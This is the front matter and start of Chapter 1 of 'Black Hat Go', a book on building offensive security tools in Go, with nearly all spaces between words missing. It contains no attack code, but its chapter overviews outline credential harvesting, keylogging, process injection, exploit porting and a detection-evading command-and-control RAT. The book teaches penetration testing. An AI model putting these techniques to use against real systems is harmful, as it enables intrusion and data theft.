consultancy,directlyinfluencingtechnicaltradecraft,process efficiency,customerexperience,anddeliveryquality.With15 yearsofexperience,Danhasdedicatednearlytheentiretyof hisprofessionalcareertocross-industry,customer-direct consultingandconsultancydevelopment,primarilyfocusedon informationsecurityandapplicationdelivery. Danhaspresentedatvariousnationalandregionalsecurity conferences,includingDefcon,BlackHatArsenal,DerbyCon, BSides,andmore.Hehasapassionforsoftwaredevelopment andhascreatedvariousopen-sourceandproprietary applications,fromsimplecommandlinetoolstocomplex, three-tier,andcloud-basedwebapplications. ABOUTTHETECHNICALREVIEWER AlexHarveyhasbeenworkingwithtechnologyhiswholelife andgothisstartwithembeddedsystems,robotics,and programming.Hemovedintoinformationsecurityabout15 yearsago,focusingonsecuritytestingandresearch.Neverone toshyawayfrommakingatoolforthejob,hestartedusing theGoprogramminglanguageandhasnotlookedback. BRIEFCONTENTS ForewordbyHDMoore Acknowledgments Introduction Chapter1:GoFundamentals Chapter2:TCP,Scanners,andProxies Chapter3:HTTPClientsandRemoteInteractionwithTools Chapter4:HTTPServers,Routing,andMiddleware Chapter5:ExploitingDNS Chapter6:InteractingwithSMBandNTLM Chapter7:AbusingDatabasesandFilesystems Chapter8:RawPacketProcessing Chapter9:WritingandPortingExploitCode Chapter10:GoPluginsandExtendableTools Chapter11:ImplementingandAttackingCryptography Chapter12:WindowsSystemInteractionandAnalysis Chapter13:HidingDatawithSteganography Chapter14:BuildingaCommand-and-ControlRAT Index CONTENTSINDETAIL FOREWORDbyHDMoore ACKNOWLEDGMENTS INTRODUCTION WhoThisBookIsFor WhatThisBookIsn’t WhyUseGoforHacking? WhyYouMightNotLoveGo ChapterOverview 1 GOFUNDAMENTALS SettingUpaDevelopmentEnvironment DownloadingandInstallingGo SettingGOROOTtoDefinetheGoBinaryLocation SettingGOPATHtoDeterminetheLocationofYourGoWorkspace ChoosinganIntegratedDevelopmentEnvironment UsingCommonGoToolCommands UnderstandingGoSyntax DataTypes ControlStructures Concurrency ErrorHandling HandlingStructuredData Summary 2 TCP,SCANNERS,ANDPROXIES UnderstandingtheTCPHandshake BypassingFirewallswithPortForwarding WritingaTCPScanner TestingforPortAvailability PerformingNonconcurrentScanning PerformingConcurrentScanning BuildingaTCPProxy Usingio.Readerandio.Writer CreatingtheEchoServer ImprovingtheCodebyCreatingaBufferedListener ProxyingaTCPClient ReplicatingNetcatforCommandExecution Summary 3 HTTPCLIENTSANDREMOTEINTERACTIONWITH TOOLS HTTPFundamentalswithGo CallingHTTPAPIs GeneratingaRequest UsingStructuredResponseParsing BuildinganHTTPClientThatInteractswithShodan ReviewingtheStepsforBuildinganAPIClient DesigningtheProjectStructure CleaningUpAPICalls QueryingYourShodanSubscription CreatingaClient InteractingwithMetasploit SettingUpYourEnvironment DefiningYourObjective RetrievingaValidToken DefiningRequestandResponseMethods CreatingaConfigurationStructandanRPCMethod PerformingRemoteCalls CreatingaUtilityProgram ParsingDocumentMetadatawithBingScraping SettingUptheEnvironmentandPlanning DefiningthemetadataPackage MappingtheDatatoStructs SearchingandReceivingFileswithBing Summary 4 HTTPSERVERS,ROUTING,ANDMIDDLEWARE HTTPServerBasics BuildingaSimpleServer BuildingaSimpleRouter BuildingSimpleMiddleware Routingwiththegorilla/muxPackage BuildingMiddlewarewithNegroni AddingAuthenticationwithNegroni UsingTemplatestoProduceHTMLResponses CredentialHarvesting KeyloggingwiththeWebSocketAPI MultiplexingCommand-and-Control Summary 5 EXPLOITINGDNS WritingDNSClients RetrievingARecords ProcessingAnswersfromaMsgstruct EnumeratingSubdomains WritingDNSServers LabSetupandServerIntroduction CreatingDNSServerandProxy Summary 6 INTERACTINGWITHSMBANDNTLM TheSMBPackage UnderstandingSMB UnderstandingSMBSecurityTokens SettingUpanSMBSession UsingMixedEncodingofStructFields UnderstandingMetadataandReferentialFields UnderstandingtheSMBImplementation GuessingPasswordswithSMB ReusingPasswordswiththePass-the-HashTechnique RecoveringNTLMPasswords CalculatingtheHash RecoveringtheNTLMHash Summary 7 ABUSINGDATABASESANDFILESYSTEMS SettingUpDatabaseswithDocker InstallingandSeedingMongoDB InstallingandSeedingPostgreSQLandMySQLDatabases InstallingandSeedingMicrosoftSQLServerDatabases ConnectingandQueryingDatabasesinGo QueryingMongoDB QueryingSQLDatabases BuildingaDatabaseMiner ImplementingaMongoDBDatabaseMiner ImplementingaMySQLDatabaseMiner PillagingaFilesystem Summary 8 RAWPACKETPROCESSING SettingUpYourEnvironment IdentifyingDevicesbyUsingthepcapSubpackage LiveCapturingandFilteringResults SniffingandDisplayingCleartextUserCredentials PortScanningThroughSYN-floodProtections CheckingTCPFlags BuildingtheBPFFilter WritingthePortScanner Summary 9 WRITINGANDPORTINGEXPLOITCODE CreatingaFuzzer BufferOverflowFuzzing SQLInjectionFuzzing PortingExploitstoGo PortinganExploitfromPython PortinganExploitfromC CreatingShellcodeinGo CTransform HexTransform NumTransform RawTransform Base64Encoding ANoteonAssembly Summary 10 GOPLUGINSANDEXTENDABLETOOLS UsingGo’sNativePlug-inSystem CreatingtheMainProgram BuildingaPassword-GuessingPlug-in RunningtheScanner BuildingPlug-insinLua Creatingthehead()HTTPFunction Creatingtheget()Function RegisteringtheFunctionswiththeLuaVM WritingYourMainFunction CreatingYourPlug-inScript TestingtheLuaPlug-in Summary 11 IMPLEMENTINGANDATTACKING CRYPTOGRAPHY ReviewingBasicCryptographyConcepts UnderstandingtheStandardCryptoLibrary ExploringHashing CrackinganMD5orSHA-256Hash Implementingbcrypt AuthenticatingMessages EncryptingData Symmetric-KeyEncryption AsymmetricCryptography Brute-ForcingRC2 GettingStarted ProducingWork PerformingWorkandDecryptingData WritingtheMainFunction RunningtheProgram Summary 12 WINDOWSSYSTEMINTERACTIONANDANALYSIS TheWindowsAPI’sOpenProcess()Function Theunsafe.PointeranduintptrTypes PerformingProcessInjectionwiththesyscallPackage DefiningtheWindowsDLLsandAssigningVariables ObtainingaProcessTokenwiththeOpenProcessWindowsAPI ManipulatingMemorywiththeVirtualAllocExWindowsAPI WritingtoMemorywiththeWriteProcessMemoryWindowsAPI FindingLoadLibraryAwiththeGetProcessAddressWindowsAPI ExecutingtheMaliciousDLLUsingtheCreateRemoteThread WindowsAPI VerifyingInjectionwiththeWaitforSingleObjectWindowsAPI CleaningUpwiththeVirtualFreeExWindowsAPI AdditionalExercises ThePortableExecutableFile UnderstandingthePEFileFormat WritingaPEParser AdditionalExercises UsingCwithGo InstallingaCWindowsToolchain CreatingaMessageBoxUsingCandtheWindowsAPI BuildingGointoC Summary 13 HIDINGDATAWITHSTEGANOGRAPHY ExploringthePNGFormat TheHeader TheChunkSequence ReadingImageByteData ReadingtheHeaderData ReadingtheChunkSequence WritingImageByteDatatoImplantaPayload LocatingaChunkOffset WritingByteswiththeProcessImage()Method EncodingandDecodingImageByteDatabyUsingXOR Summary AdditionalExercises 14 BUILDINGACOMMAND-AND-CONTROLRAT GettingStarted InstallingProtocolBuffersforDefiningagRPCAPI CreatingtheProjectWorkspace DefiningandBuildingthegRPCAPI CreatingtheServer ImplementingtheProtocolInterface Writingthemain()Function CreatingtheClientImplant BuildingtheAdminComponent RunningtheRAT ImprovingtheRAT EncryptYourCommunications HandleConnectionDisruptions RegistertheImplants AddDatabasePersistence SupportMultipleImplants AddImplantFunctionality ChainOperatingSystemCommands EnhancetheImplant’sAuthenticityandPracticeGoodOPSEC AddASCIIArt Summary INDEX FOREWORD Programminglanguageshavealwayshadanimpacton informationsecurity.Thedesignconstraints,standard libraries,andprotocolimplementationsavailablewithineach languageendupdefiningtheattacksurfaceofanyapplication builtonthem.Securitytoolingisnodifferent;theright languagecansimplifycomplextasksandmaketheincredibly difficultonestrivial.Go’scross-platformsupport,single- binaryoutput,concurrencyfeatures,andmassiveecosystem makeitanamazingchoiceforsecuritytooldevelopment.Go isrewritingtherulesforbothsecureapplicationdevelopment andthecreationofsecuritytools,enablingfaster,safer,and moreportabletooling. Overthe15yearsthatIworkedontheMetasploit Framework,theprojectwentthroughtwofullrewrites, changedlanguagesfromPerltoRuby,andnowsupportsa rangeofmultilingualmodules,extensions,andpayloads. Thesechangesreflecttheconstantlyevolvingnatureof softwaredevelopment;inordertokeepupinsecurity,your toolsneedtoadapt,andusingtherightlanguagecansavean enormousamountoftime.ButjustlikeRuby,Godidn’t becomeubiquitousovernight.Ittakesaleapoffaithtobuild anythingofvalueusinganewlanguage,giventhe uncertaintiesoftheecosystemandthesheeramountofeffort neededtoaccomplishcommontasksbeforethestandard librariescatchup. TheauthorsofBlackHatGoarepioneersinGosecurity tooldevelopment,responsibleforsomeoftheearliestopen sourceGoprojects,includingBlackSheepWall,Lair Framework,andsipbrute,amongmanyothers.Theseprojects serveasexcellentexamplesofwhatcanbebuiltusingthe language.Theauthorsarejustascomfortablebuilding softwareastearingitapart,andthisbookisagreatexampleof theirabilitytocombinetheseskills. BlackHatGoprovideseverythingnecessarytogetstarted withGodevelopmentinthesecurityspacewithoutgetting boggeddownintothelesser-usedlanguagefeatures.Wantto writearidiculousfastnetworkscanner,evilHTTPproxy,or cross-platformcommand-and-controlframework?Thisbookis foryou.Ifyouareaseasonedprogrammerlookingforinsight intosecuritytooldevelopment,thisbookwillintroducethe conceptsandtrade-offsthathackersofallstripesconsider whenwritingtools.VeteranGodeveloperswhoareinterested insecuritymaylearnalotfromtheapproachestakenhere,as buildingtoolstoattackothersoftwarerequiresadifferent mindsetthantypicalapplicationdevelopment.Yourdesign trade-offswilllikelybesubstantiallydifferentwhenyour goalsincludebypassingsecuritycontrolsandevading detection. Ifyoualreadyworkinoffensivesecurity,thisbookwill helpyoubuildutilitiesthatarelight-yearsfasterthanexisting solutions.Ifyouworkonthedefensesideorinincident response,thisbookwillgiveyouanideaofhowtoanalyze anddefendagainstmalwarewrittenintheGolanguage. Happyhacking! HDMoore FounderoftheMetasploitProjectandtheCriticalResearch Corporation VPofResearchandDevelopmentatAtredisPartners ACKNOWLEDGMENTS ThisbookwouldnotbepossiblehadRobertGriesemer,Rob Pike,andKenThompsonnotcreatedthisawesome developmentlanguage.ThesefolksandtheentirecoreGo developmentteamconsistentlycontributeusefulupdatesupon eachrelease.Wewouldhaveneverwrittenthisbookhadthe languagenotbeensoeasyandfuntolearnanduse. TheauthorswouldalsoliketothanktheteamatNoStarch Press:Laurel,Frances,Bill,Annie,Barbara,andeveryoneelse withwhomweinteracted.Youallguidedusthroughthe uncharteredterritoryofwritingourfirstbook.Lifehappens— newfamilies,newjobs—andallthewhileyou’vebeenpatient butstillpushedustocompletethisbook.TheentireNoStarch Pressteamhasbeenapleasuretoworkwithonthisproject. IwouldliketothankJenforallhersupport,encouragement, andforkeepinglifemovingforwardwhileIwaslockedaway inmyofficenightsandweekends,workingonthisnever- endingbook.Jen,youhelpedmemorethanyouknow,and yourconstantwordsofencouragementhelpedmakethisa reality.Iamsincerelygratefultohaveyouinmylife.Imust thank“T”(mycaninequadra-pet)forholdingthefloordown inmyofficewhileIhackedawayandremindingmethat “outside”isarealplaceIshouldvisit.Lastly,andclosetomy heart,Iwanttodedicatethisbooktomypups,Lunaand Annie,whopassedwhileIwaswritingthisbook.Yougirls wereandareeverythingtomeandthisbookwillalwaysbea reminderofmyloveforyouboth. ChrisPatten Iwouldliketoextendasincerethankyoutomywifeandbest friend,Katie,foryourconstantsupport,encouragement,and beliefinme.NotadaygoesbywhenI’mnotgratefulfor everythingyoudoformeandourfamily.I’dliketothank BrooksandSubsforgivingmereasontoworksohard.There isnobetterjobthanbeingyourfather.Andtothebest“Office Hounds”aguycouldaskfor—Leo(RIP),Arlo,Murphy,and evenHowie(yes,Howietoo)—you’vesystematically destroyedmyhouseandperiodicallymademequestionmy lifechoices,butyourpresenceandcompanionshipmeanthe worldtome.I’llgiveeachofyouasignedcopyofthisbookto chewon. DanKottmann Thankyoutotheloveofmylife,Jackie,foryourloveand encouragement;nothingIdowouldbepossiblewithoutyour supportandeverythingyoudoforourfamily.Thankyouto myfriendsandcolleaguesatAtredisPartnersandtoanyone I’vesharedashellwithinthepast.IamwhereIambecauseof you.Thankyoutomymentorsandfriendswhohavebelieved inmesincedayone.Therearetoomanyofyoutoname;Iam gratefulfortheincrediblepeopleinmylife.Thankyou,Mom, forputtingmeincomputerclasses(thesewereathing). Lookingback,thosewereacompletewasteoftimeandIspent mostofthetimeplayingMyst,butitsparkedaninterest(I missthe90s).Mostimportantly,thankyoutomySavior,Jesus Christ. TomSteele Itwasalongroadtogethere—almostthreeyears.Alot hashappenedtogettothispoint,andhereweare,finally.We sincerelyappreciatetheearlyfeedbackwereceivedfrom friends,colleagues,family,andearly-releasereaders.Foryour patience,dearreader,thankyouso,soverymuch;wearetruly gratefulandhopeyouenjoythisbookjustasmuchaswe enjoyedwritingit.Allthebesttoyou!NowGocreatesome amazingcode! INTRODUCTION Foraboutsixyears,thethreeofusledoneofNorthAmerica’s largestdedicatedpenetration-testingconsultingpractices.As principalconsultants,weexecutedtechnicalprojectwork, includingnetworkpenetrationtests,onbehalfofourclients— butwealsospearheadedthedevelopmentofbettertools, processes,andmethodology.Andatsomepoint,weadopted Goasoneofourprimarydevelopmentlanguages. Goprovidesthebestfeaturesofotherprogramming languages,strikingabalancebetweenperformance,safety, anduser-friendliness.Soon,wedefaultedtoitasourlanguage ofchoicewhendevelopingtools.Eventually,weevenfound ourselvesactingasadvocatesofthelanguage,pushingforour colleaguesinthesecurityindustrytotryit.Wefeltthebenefits ofGowereatleastworthyofconsideration. Inthisbook,we’lltakeyouonajourneythroughtheGo programminglanguagefromtheperspectiveofsecurity practitionersandhackers.Unlikeotherhackingbooks,we won’tjustshowyouhowtoautomatethird-partyor commercialtools(althoughwe’lltouchonthatalittle). Instead,we’lldelveintopracticalanddiversetopicsthat approachaspecificproblem,protocol,ortacticusefulto adversaries.We’llcoverTCP,HTTP,andDNS communications,interactwithMetasploitandShodan,search filesystemsanddatabases,portexploitsfromotherlanguages toGo,writethecorefunctionsofanSMBclient,attack Windows,cross-compilebinaries,messwithcrypto,callC libraries,interactwiththeWindowsAPI,andmuch,much more.It’sambitious!We’dbetterbegin... WHOTHISBOOKISFOR Thisbookisforanyonewhowantstolearnhowtodevelop theirownhackingtoolsusingGo.Throughoutourprofessional careers,andparticularlyasconsultants,we’veadvocatedfor programmingasafundamentalskillforpenetrationtestersand securityprofessionals.Specifically,theabilitytocode enhancesyourunderstandingofhowsoftwareworksandhow itcanbebroken.Also,ifyou’vewalkedinadeveloper’s shoes,you’llgainamoreholisticappreciationforthe challengestheyfaceinsecuringsoftware,andyoucanuse yourpersonalexperiencetobetterrecommendmitigations, eliminatefalsepositives,andlocateobscurevulnerabilities. Codingoftenforcesyoutointeractwiththird-partylibraries andvariousapplicationstacksandframeworks.Formany people(usincluded),it’shands-onexperienceandtinkering thatleadstothegreatestpersonaldevelopment. Togetthemostoutofthisbook,weencourageyouto clonethebook’sofficialcoderepositorysoyouhaveallthe workingexampleswe’lldiscuss.Findtheexamplesat https://github.com/blackhat-go/bhg/. WHATTHISBOOKISN’T ThisbookisnotanintroductiontoGoprogrammingingeneral butanintroductiontousingGofordevelopingsecuritytools. Wearehackersandthencoders—inthatorder.Noneofus haveeverbeensoftwareengineers.Thismeansthat,as hackers,weputapremiumonfunctionoverelegance.Inmany instances,we’veoptedtocodeashackersdo,disregarding someoftheidiomsorbestpracticesofsoftwaredesign.As consultants,timeisalwaysscarce;developingsimplercodeis oftenfasterand,therefore,preferableoverelegance.When youneedtoquicklycreateasolutiontoaproblem,style concernscomesecondary. ThisisboundtoangerGopurists,whowilllikelytweetat usthatwedon’tgracefullyhandleallerrorconditions,thatour examplescouldbeoptimized,orthatbetterconstructsor methodsareavailabletoproducethedesiredresults.We’re not,inmostcases,concernedwithteachingyouthebest,the mostelegant,or100percentidiomaticsolutions,unlessdoing sowillconcretelybenefittheendresult.Althoughwe’ll brieflycoverthelanguagesyntax,wedosopurelytoestablish abaselinefoundationuponwhichwecanbuild.Afterall,this isn’tLearningtoProgramElegantlywithGo—thisisBlack HatGo. WHYUSEGOFORHACKING? PriortoGo,youcouldprioritizeeaseofusebyusing dynamicallytypedlanguages—suchasPython,Ruby,orPHP —attheexpenseofperformanceandsafety.Alternatively,you couldchooseastaticallytypedlanguage,likeCorC++,that offershighperformanceandsafetybutisn’tveryuser-friendly. GoisstrippedofmuchoftheuglinessofC,itsprimary ancestor,makingdevelopmentmoreuser-friendly.Atthesame time,it’sastaticallytypedlanguagethatproducessyntax errorsatcompiletime,increasingyourassurancethatyour codewillactuallyrunsafely.Asit’scompiled,itperforms moreoptimallythaninterpretedlanguagesandwasdesigned withmulticorecomputingconsiderations,makingconcurrent programmingabreeze. ThesereasonsforusingGodon’tconcernsecurity practitionersspecifically.However,manyofthelanguage’s featuresareparticularlyusefulforhackersandadversaries: CleanpackagemanagementsystemGo’spackage managementsolutioniselegantandintegrateddirectlywith Go’stooling.Throughtheuseofthegobinary,youcan easilydownload,compile,andinstallpackagesand dependencies,whichmakesconsumingthird-partylibraries simpleandgenerallyfreefromconflict. Cross-compilationOneofthebestfeaturesinGoisits abilitytocross-compileexecutables.Solongasyourcode doesn’tinteractwithrawC,youcaneasilywritecodeon yourLinuxorMacsystembutcompilethecodeina Windows-friendly,PortableExecutableformat. RichstandardlibraryTimespentdevelopinginother languageshashelpedusappreciatetheextentofGo’s standardlibrary.Manymodernlanguageslackthestandard librariesrequiredtoperformmanycommontaskssuchas crypto,networkcommunications,databaseconnectivity, anddataencoding(JSON,XML,Base64,hex).Go includesmanyofthesecriticalfunctionsandlibrariesas partofthelanguage’sstandardpackaging,reducingthe effortnecessarytocorrectlysetupyourdevelopment environmentortocallthefunctions. ConcurrencyUnlikelanguagesthathavebeenaround longer,Gowasreleasedaroundthesametimeastheinitial mainstreammulticoreprocessorsbecameavailable.For thisreason,Go’sconcurrencypatternsandperformance optimizationsaretunedspecificallytothismodel. WHYYOUMIGHTNOTLOVEGO WerecognizethatGoisn’taperfectsolutiontoevery problem.Herearesomeofthedownsidesofthelanguage: Binarysize’Nuffsaid.WhenyoucompileabinaryinGo, thebinaryislikelytobemultiplemegabytesinsize.Of course,youcanstripdebuggingsymbolsanduseapacker tohelpreducethesize,butthesestepsrequireattention. Thiscanbeadrawback,particularlyforsecurity practitionerswhoneedtoattachabinarytoanemail,hostit onasharedfilesystem,ortransferitoveranetwork. VerbosityWhileGoislessverbosethanlanguageslike C#,Java,orevenC/C++,youstillmightfindthatthe simplisticlanguageconstructforcesyoutobeoverly expressiveforthingslikelists(calledslicesinGo), processing,looping,orerrorhandling.APythonone-liner mighteasilybecomeathree-linerinGo. CHAPTEROVERVIEW ThefirstchapterofthisbookcoversabasicoverviewofGo’s syntaxandphilosophy.Next,westarttoexploreexamplesthat youcanleveragefortooldevelopment,includingvarious commonnetworkprotocolslikeHTTP,DNS,andSMB.We thendigintovarioustacticsandproblemsthatwe’ve encounteredaspenetrationtesters,addressingtopicsincluding datapilfering,packetsniffing,andexploitdevelopment. Finally,wetakeabriefstepbacktotalkabouthowyoucan createdynamic,pluggabletoolsbeforedivingintocrypto, attackingMicrosoftWindows,andimplementing steganography. Inmanycases,therewillbeopportunitiestoextendthe toolsweshowyoutomeetyourspecificobjectives.Although wepresentrobustexamplesthroughout,ourrealintentisto provideyouwiththeknowledgeandfoundationthrough whichyoucanextendorreworktheexamplestomeetyour goals.Wewanttoteachyoutofish. Beforeyoucontinuewithanythinginthisbook,pleasenote thatwe—theauthorsandpublisher—havecreatedthiscontent forlegalusageonly.Wewon’tacceptanyliabilityforthe nefariousorillegalthingsyouchoosetodo.Allthecontent hereisforeducationalpurposesonly;donotperformany penetration-testingactivitiesagainstsystemsorapplications withoutauthorizedconsent. Thesectionsthatfollowprovideabriefoverviewofeach chapter. Chapter1:GoFundamentals Thegoalofthischapteristointroducethefundamentalsofthe Goprogramminglanguageandprovideafoundationnecessary forunderstandingtheconceptswithinthisbook.Thisincludes anabridgedreviewofbasicGosyntaxandidioms.Wediscuss theGoecosystem,includingsupportingtools,IDEs, dependencymanagement,andmore.Readersnewtothe programminglanguagecanexpecttolearnthebarenecessities ofGo,whichwillallowthemto,hopefully,comprehend, implement,andextendtheexamplesinlaterchapters. Chapter2:TCP,Scanners,andProxies ThischapterintroducesbasicGoconceptsandconcurrency primitivesandpatterns,input/output(I/O),andtheuseof interfacesthroughpracticalTCPapplications.We’llfirstwalk youthroughcreatingasimpleTCPportscannerthatscansa listofportsusingparsedcommandlineoptions.Thiswill highlightthesimplicityofGocodecomparedtoother languagesandwilldevelopyourunderstandingofbasictypes, userinput,anderrorhandling.Next,we’lldiscusshowto improvetheefficiencyandspeedofthisportscannerby introducingconcurrentfunctions.We’llthenintroduceI/Oby buildingaTCPproxy—aportforwarder—startingwithbasic examplesandrefiningourcodetocreateamorereliable solution.Lastly,we’llre-createNetcat’s“gapingsecurity hole”featureinGo,teachingyouhowtorunoperatingsystem commandswhilemanipulatingstdinandstdoutandredirecting themoverTCP. Chapter3:HTTPClientsandRemoteInteraction withTools HTTPclientsareacriticalcomponenttointeractingwith modernwebserverarchitectures.Thischaptershowsyouhow tocreatetheHTTPclientsnecessarytoperformavarietyof commonwebinteractions.You’llhandleavarietyofformats tointeractwithShodanandMetasploit.We’llalso demonstratehowtoworkwithsearchengines,usingthemto scrapeandparsedocumentmetadatasoastoextract informationusefulfororganizationalprofilingactivities. Chapter4:HTTPServers,Routing,andMiddleware Thischapterintroducestheconceptsandconventions necessaryforcreatinganHTTPserver.We’lldiscusscommon routing,middleware,andtemplatingpatterns,leveragingthis knowledgetocreateacredentialharvesterandkeylogger. Lastly,we’lldemonstratehowtomultiplexcommand-and- control(C2)connectionsbybuildingareverseHTTPproxy. Chapter5:ExploitingDNS ThischapterintroducesyoutobasicDNSconceptsusingGo. First,we’llperformclientoperations,includinghowtolook forparticulardomainrecords.Thenwe’llshowyouhowto writeacustomDNSserverandDNSproxy,bothofwhichare usefulforC2operations. Chapter6:InteractingwithSMBandNTLM We’llexploretheSMBandNTLMprotocols,usingthemasa basisforadiscussionofprotocolimplementationsinGo. UsingapartialimplementationoftheSMBprotocol,we’ll discussthemarshalingandunmarshalingofdata,theusageof customfieldtags,andmore.We’lldiscussanddemonstrate howtousethisimplementationtoretrievetheSMB-signing policy,aswellasperformpassword-guessingattacks. Chapter7:AbusingDatabasesandFilesystems Pillagingdataisacriticalaspectofadversarialtesting.Data livesinnumerousresources,includingdatabasesand filesystems.Thischapterintroducesbasicwaystoconnectto andinteractwithdatabasesacrossavarietyofcommonSQL andNoSQLplatforms.You’lllearnthebasicsofconnectingto SQLdatabasesandrunningqueries.We’llshowyouhowto searchdatabasesandtablesforsensitiveinformation,a commontechniqueusedduringpost-exploitation.We’llalso showhowtowalkfilesystemsandinspectfilesforsensitive information. Chapter8:RawPacketProcessing We’llshowyouhowtosniffandprocessnetworkpacketsby usingthegopacketlibrary,whichuseslibpcap.You’lllearnhowto identifyavailablenetworkdevices,usepacketfilters,and processthosepackets.Wewillthendevelopaportscanner thatcanscanreliablythroughvariousprotectionmechanisms, includingsyn-floodandsyn-cookies,whichcausenormalport scanstoshowexcessivefalsepositives. Chapter9:WritingandPortingExploitCode Thischapterfocusesalmostsolelyoncreatingexploits.It beginswithcreatingafuzzertodiscoverdifferenttypesof vulnerabilities.Thesecondhalfofthechapterdiscusseshow toportexistingexploitstoGofromotherlanguages.This discussionincludesaportofaJavadeserializationexploitand theDirtyCOWprivilegeescalationexploit.Weconcludethe chapterwithadiscussiononcreatingandtransforming shellcodeforusewithinyourGoprograms. Chapter10:GoPluginsandExtendableTools We’llintroducetwoseparatemethodsforcreatingextendable tools.Thefirstmethod,introducedinGoversion1.8,uses Go’snativeplug-inmechanism.We’lldiscusstheusecases forthisapproachanddiscussasecondapproachthatleverages Luatocreateextensibletools.We’lldemonstratepractical examplesshowinghowtoadopteitherapproachtoperforma commonsecuritytask. Chapter11:ImplementingandAttacking Cryptography Thischaptercoversthefundamentalconceptsofsymmetric andasymmetriccryptographyusingGo.Thisinformation focusesonusingandunderstandingcryptographythroughthe standardGopackage.Goisoneofthefewlanguagesthat, insteadofusingathird-partylibraryforencryption,usesa nativeimplementationwithinthelanguage.Thismakesthe codeeasytonavigate,modify,andunderstand. We’llexplorethestandardlibrarybyexaminingcommon usecasesandcreatingtools.Thechapterwillshowyouhowto performhashing,messageauthentication,andencryption. Lastly,we’lldemonstratehowtobrute-forcedecryptanRC2- encryptedciphertext. Chapter12:WindowsSystemInteractionand Analysis InourdiscussiononattackingWindows,we’lldemonstrate methodsofinteractingwiththeWindowsnativeAPI,explore thesyscallpackageinordertoperformprocessinjection,and learnhowtobuildaPortableExecutable(PE)binaryparser. ThechapterwillconcludewithadiscussionofcallingnativeC librariesthroughGo’sCinteroperabilitymechanisms. Chapter13:HidingDatawithSteganography Steganographyistheconcealmentofamessageorfilewithin anotherfile.Thischapterintroducesonevariationof steganography:hidingarbitrarydatawithinaPNGimage file’scontents.Thesetechniquescanbeusefulforexfiltrating information,creatingobfuscatedC2messages,andbypassing detectiveorpreventativecontrols. Chapter14:BuildingaCommand-and-ControlRAT Thefinalchapterdiscussespracticalimplementationsof command-and-control(C2)implantsandserversinGo.We’ll leveragethewisdomandknowledgegainedinprevious chapterstobuildaC2channel.TheC2client/server implementationwill,bynatureofbeingcustom-made,avoid signature-basedsecuritycontrolsandattempttocircumvent heuristicsandnetwork-basedegresscontrols. 1 GOFUNDAMENTALS Thischapterwillguideyouthroughtheprocessofsettingup yourGodevelopmentenvironmentandintroduceyoutothe language’ssyntax.Peoplehavewrittenentirebooksonthe fundamentalmechanicsofthelanguage;thischaptercovers themostbasicconceptsyou’llneedinordertoworkthrough thecodeexamplesinthefollowingchapters.We’llcover everythingfromprimitivedatatypestoimplementing concurrency.Forreaderswhoarealreadywellversedinthe language,you’llfindmuchofthischaptertobeareview. SETTINGUPADEVELOPMENT ENVIRONMENT TogetstartedwithGo,you’llneedafunctionaldevelopment environment.Inthissection,we’llwalkyouthroughthesteps todownloadGoandsetupyourworkspaceandenvironment variables.We’lldiscussvariousoptionsforyourintegrated developmentenvironmentandsomeofthestandardtooling thatcomeswithGo. DownloadingandInstallingGo StartbydownloadingtheGobinaryreleasemostappropriate toyouroperatingsystemandarchitecturefrom https://golang.org/dl/.BinariesexistforWindows,Linux,and macOS.Ifyou’reusingasystemthatdoesn’thaveanavailable precompiledbinary,youcandownloadtheGosourcecode fromthatlink. Executethebinaryandfollowtheprompts,whichwillbe minimal,inordertoinstalltheentiresetofGocorepackages. Packages,calledlibrariesinmostotherlanguages,contain usefulcodeyoucanuseinyourGoprograms. SettingGOROOTtoDefinetheGoBinaryLocation Next,theoperatingsystemneedstoknowhowtofindtheGo installation.Inmostinstances,ifyou’veinstalledGointhe defaultpath,suchas/usr/local/goona*Nix/BSD-based system,youdon’thavetotakeanyactionhere.However,in theeventthatyou’vechosentoinstallGoinanonstandard pathorareinstallingGoonWindows,you’llneedtotellthe operatingsystemwheretofindtheGobinary. Youcandothisfromyourcommandlinebysettingthe reservedGOROOTenvironmentvariabletothelocationofyour binary.Settingenvironmentvariablesisoperating-system specific.OnLinuxormacOS,youcanaddthistoyour ~/.profile: setGOROOT=/path/to/go OnWindows,youcanaddthisenvironmentvariable throughtheSystem(ControlPanel),byclickingthe EnvironmentVariablesbutton. SettingGOPATHtoDeterminetheLocationofYour GoWorkspace UnlikesettingyourGOROOT,whichisnecessaryinonlycertain installationscenarios,youmustalwaysdefineanenvironment variablenamedGOPATHtoinstructtheGotoolsetwhereyour sourcecode,third-partylibraries,andcompiledprogramswill exist.Thiscanbeanylocationofyourchoosing.Onceyou’ve chosenorcreatedthisbaseworkspacedirectory,createthe followingthreesubdirectorieswithin:bin,pkg,andsrc(more onthesedirectoriesshortly).Then,setanenvironment variablenamedGOPATHthatpointstoyourbaseworkspace directory.Forexample,ifyouwanttoplaceyourprojectsina directorycalledgocodelocatedwithinyourhomedirectoryon Linux,yousetGOPATHtothefollowing: GOPATH=$HOME/gocode Thebindirectorywillcontainyourcompiledandinstalled Goexecutablebinaries.Binariesthatarebuiltandinstalled willbeautomaticallyplacedintothislocation.Thepkg directorystoresvariouspackageobjects,includingthird-party Godependenciesthatyourcodemightrelyon.Forexample, perhapsyouwanttouseanotherdeveloper’scodethatmore elegantlyhandlesHTTProuting.Thepkgdirectorywill containthebinaryartifactsnecessarytoconsumetheir implementationinyourcode.Finally,thesrcdirectorywill containalltheevilsourcecodeyou’llwrite. Thelocationofyourworkspaceisarbitrary,butthe directorieswithinmustmatchthisnamingconventionand structure.Thecompilation,build,andpackagemanagement commandsyou’lllearnaboutlaterinthischapterallrelyon thiscommondirectorystructure.Withoutthisimportantsetup, Goprojectswon’tcompileorbeabletolocateanyoftheir necessarydependencies! AfterconfiguringthenecessaryGOROOTandGOPATH environmentvariables,confirmthatthey’reproperlyset.You candothisonLinuxandWindowsviathesetcommand.Also, checkthatyoursystemcanlocatethebinaryandthatyou’ve installedtheexpectedGoversionwiththegoversioncommand: $goversion goversiongo1.11.5linux/amd64 Thiscommandshouldreturntheversionofthebinaryyou installed. ChoosinganIntegratedDevelopmentEnvironment Next,you’llprobablywanttoselectanintegrateddevelopment environment(IDE)inwhichtowriteyourcode.Althoughan IDEisn’trequired,manyhavefeaturesthathelpreduceerrors inyourcode,addversion-controlshortcuts,aidinpackage management,andmore.AsGoisstillafairlyyounglanguage, theremaynotbeasmanymatureIDEsasforotherlanguages. Fortunately,advancementsoverthelastfewyearsleave youwithseveral,full-featuredoptions.We’llreviewsomeof theminthischapter.ForamorecompletelistofIDEoreditor options,checkouttheGowikipageat https://github.com/golang/go/wiki/IDEsAndTextEditorPlugins/ .ThisbookisIDE/editoragnostic,meaningwewon’tforce 